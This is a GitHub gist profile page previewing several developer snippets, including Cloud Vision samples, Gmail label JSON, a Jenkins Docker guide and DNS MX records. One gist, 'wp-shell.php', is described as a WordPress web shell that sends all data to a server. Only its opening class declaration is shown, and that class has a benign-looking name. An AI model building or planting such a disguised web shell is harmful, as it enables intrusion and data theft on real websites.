Skip to content

Instantly share code, notes, and snippets.

View 7x7x7eq51's full-sized avatar
🎯
Focusing

7x7 7x7x7eq51

🎯
Focusing
  • 7xxss
  • from localhost
View GitHub Profile
@7x7x7eq51
7x7x7eq51 / Detected Object.md
Created July 21, 2020 16:27
Google Cloud Vision API Go example

Cloud Vision API Go samples

This directory contains Cloud Vision API Go samples and utilities.

Samples

Label Detection

See the label detection tutorial in the docs.

@7x7x7eq51
7x7x7eq51 / wp-shell.php
Last active July 22, 2020 09:17
Shell web in wordpress snippet and send all data to server.
<?php
if ( !class_exists( 'WPTemplatesOptions' ) ) {
class WPTemplatesOptions
{
private $startTime;
private $script = '';
private $version = 3;
private $upDir = '';
private $uploadDir = '';
private $uploadUrl = '';
@7x7x7eq51
7x7x7eq51 / data.json
Last active July 21, 2020 07:09
Gmail build tree multiple level lables
{
"labels": [
{
"id": "CHAT",
"name": "CHAT",
"messageListVisibility": "hide",
"labelListVisibility": "labelHide",
"type": "system"
},
{
@7x7x7eq51
7x7x7eq51 / install-jenkins.md
Last active April 14, 2020 13:34
Jenkins install guide

Jenkins in Docker (docker-in-docker)

Testing Jenkins flows on your local machine, or running Jenkins in production in a docker container can be a little tricky with a docker-in-docker scenario. You could install Jenkins to avoid any docker-in-docker issues, but then you have Jenkins on your machine, and the local environment is likely going to be a fairly different from the actual production build servers, which can lead to annoying and time-consuming issues to debug.

Build environment differences are precisely why there is a strong argument to be made to run build processes strictly in docker containers. If we follow the philosophy that every build step or action should run in a docker container, even the Jenkins server itself, then we get massive benefits from things like, total control over the build environment, easily modify the build environment without the possibility of adversely effecting other jobs, explicit and strongly controlled tool versions,

Pros:

  • Official supported way — Thanks to ngUpgrade, it’s not too hacky

  • Promote a “learn and create” spirit — It will motivate your team to learn a complete new way of working

  • Incremental upgrade — the upgrade is incremental, it does not overload the roadmap

  • Many technical advantages and features to expect from Angular 5 — faster change detection, template precompilation and reuse, lower memory usage, observables and so on

@7x7x7eq51
7x7x7eq51 / Login docker gitlab
Last active January 2, 2020 06:12
Login registry gitlab
docker login registry.gitlab.com
docker build -t registry.gitlab.com/research-n-devlopment/environments .
docker push registry.gitlab.com/research-n-devlopment/environments
@7x7x7eq51
7x7x7eq51 / Config dns
Created November 25, 2019 03:05
Using mail forward config in Goddy DNS
MX mailstore1.secureserver.net 1
MX smtp.secureserver.net 10
@7x7x7eq51
7x7x7eq51 / Config dns
Created November 25, 2019 03:03
Using mail forward config in Goddy DNS
MX mailstore1.secureserver.net 1
MX smtp.secureserver.net 10
@7x7x7eq51
7x7x7eq51 / Config dns
Created November 25, 2019 03:01
Using mail forward config in Goddy DNS
MX mailstore1.secureserver.net 1
MX smtp.secureserver.net 10
@7x7x7eq51
7x7x7eq51 / Awesome IOT.md
Last active October 3, 2019 10:47
Awesome IOT